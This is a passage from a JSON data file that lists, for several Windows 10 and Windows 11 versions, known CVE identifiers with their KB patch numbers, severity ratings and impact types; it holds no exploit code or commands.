Disclosure"},{"cve":"CVE-2017-8484","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4025338","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4038781","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4038781","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4038781","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4038781","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4038781","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038781","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056893","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056893","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0752","kb":"4056893","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0821","kb":"4074596","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0822","kb":"4074596","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4103716","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0832","kb":"4074596","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0886","kb":"4103716","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088786","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088786","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088786","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0952","kb":"4343892","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0975","kb":"4093111","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8174","kb":"4103716","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8410","kb":"4457132","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462922","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462922","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457132","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462922","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467680","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467680","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8584","kb":"4467680","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103716","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480962","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480962","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487018","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480962","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0571","kb":"4480962","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0572","kb":"4480962","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0573","kb":"4480962","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0574","kb":"4480962","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493475","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493475","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493475","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493475","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493475","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493475","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493475","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1069","kb":"4503291","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530681","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534306","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537776","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540693","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550930","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556826","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556826","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571692","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571692","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003172","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003172","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003687","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-24091","kb":"4601331","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-27094","kb":"5001340","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001340","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-34527","kb":"5004950","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-40444","kb":"5005569","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006675","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-30190","kb":"5014710","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-28252","kb":"5025234","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-29336","kb":"5026382","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028186","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041782","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043083","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048703","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-7344","kb":"5050013","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-24054","kb":"5053618","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053618","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053618","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053618","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055547","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058387","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058387","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060998","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066837","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062561","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-50154","kb":"5063889","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063889","severity":"Important","impact":"Elevation of Privilege"}],"Windows 10 for x64-based Systems":[{"cve":"CVE-2015-2433","kb":"3081434","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3081434","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3081434","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3081434","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3081434","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3081434","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3081434","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3081434","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3081434","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2502","kb":"3081444","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3081455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3081455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3081455","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3081455","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3081455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3097617","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3097617","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3097617","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3105213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3105213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3105213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3105213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3116869","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6152","kb":"3116869","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6168","kb":"3116869","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3124266","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3124266","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3124266","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3124266","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0040","kb":"3135174","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0063","kb":"3135174","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0099","kb":"3140745","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0151","kb":"3147461","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2016-0189","kb":"3156387","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3163017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3237","kb":"3192440","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-3351","kb":"3185611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7200","kb":"3198585","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7201","kb":"3198585","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3198585","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7255","kb":"3198585","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012606","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"4012606","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0143","kb":"4012606","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012606","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012606","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012606","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012606","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4012606","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4019474","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019474","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4042895","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11823","kb":"4042895","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11830","kb":"4048956","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11885","kb":"4053581","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4022727","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8470","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4025338","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4038781","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4038781","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4038781","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4038781","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4038781","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038781","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056893","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056893","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0752","kb":"4056893","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0821","kb":"4074596","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0822","kb":"4074596","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4103716","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0832","kb":"4074596","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0886","kb":"4103716","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088786","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088786","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088786","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0952","kb":"4343892","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0975","kb":"4093111","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8174","kb":"4103716","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8410","kb":"4457132","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462922","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462922","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457132","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462922","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467680","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467680","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8584","kb":"4467680","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103716","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480962","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480962","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487018","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480962","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0571","kb":"4480962","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0572","kb":"4480962","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0573","kb":"4480962","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0574","kb":"4480962","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493475","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493475","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493475","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493475","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493475","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493475","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493475","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1069","kb":"4503291","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530681","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534306","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537776","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540693","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550930","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556826","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556826","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571692","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571692","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003172","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003172","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003687","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-24091","kb":"4601331","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-27094","kb":"5001340","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001340","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-34527","kb":"5004950","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-40444","kb":"5005569","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006675","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-30190","kb":"5014710","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-28252","kb":"5025234","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-29336","kb":"5026382","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028186","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041782","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043083","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048703","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-7344","kb":"5050013","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-24054","kb":"5053618","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053618","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053618","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053618","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055547","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058387","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058387","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060998","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066837","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062561","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-50154","kb":"5063889","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063889","severity":"Important","impact":"Elevation of Privilege"}],"Windows 11 Version 22H2 for ARM64-based Systems":[{"cve":"CVE-2021-34527","kb":"5018427","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-45985","kb":"5044285","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2023-20569","kb":"5029263","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025239","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028185","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-38039","kb":"5032190","severity":"Low","impact":"Denial of Service"},{"cve":"CVE-2023-44487","kb":"5031354","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-21338","kb":"5034765","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041585","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043076","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048685","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-6197","kb":"5044285","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2024-7344","kb":"5050021","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-21333","kb":"5050021","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-24054","kb":"5053602","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053602","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053602","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053602","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055528","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058405","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058405","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060999","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066793","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062552","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-48799","kb":"5062552","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-50154","kb":"5063875","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063875","severity":"Important","impact":"Elevation of Privilege"}],"Windows 11 Version 22H2 for x64-based Systems":[{"cve":"CVE-2021-34527","kb":"5018427","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-45985","kb":"5044285","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2023-20569","kb":"5029263","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025239","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028185","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-38039","kb":"5032190","severity":"Low","impact":"Denial of Service"},{"cve":"CVE-2023-44487","kb":"5031354","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-21338","kb":"5034765","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041585","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043076","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048685","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-6197","kb":"5044285","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2024-7344","kb":"5050021","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-21333","kb":"5050021","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-24054","kb":"5053602","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053602","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053602","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053602","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055528","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058405","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058405","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060999","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066793","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062552","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-48799","kb":"5062552","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-50154","kb":"5063875","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063875","severity":"Important","impact":"Elevation of Privilege"}],"Windows 11 Version 23H2 for ARM64-based Systems":[{"cve":"CVE-2021-45985","kb":"5044285","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2023-31096","kb":"5073455","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-38039","kb":"5032190","severity":"Low","impact":"Denial of Service"},{"cve":"CVE-2024-21338","kb":"5034765","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041585","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043076","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048685","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-6197","kb":"5044285","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2024-7344","kb":"5050021","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-21333","kb":"5050021","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-24054","kb":"5053602","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053602","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053602","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053602","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055528","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058405","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058405","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060999","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066793","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062552","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-48799","kb":"5062552","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-50154","kb":"5063875","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063875","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-64720","kb":"5082052","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-65018","kb":"5082052","severity":"Important","impact":"Elevation of Privilege"}],"Windows 11 Version 23H2 for x64-based Systems":[{"cve":"CVE-2021-45985","kb":"5044285","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2023-31096","kb":"5073455","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-38039","kb":"5032190","severity":"Low","impact":"Denial of Service"},{"cve":"CVE-2024-21338","kb":"5034765","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041585","severity":"Important","impact":"Elevation of 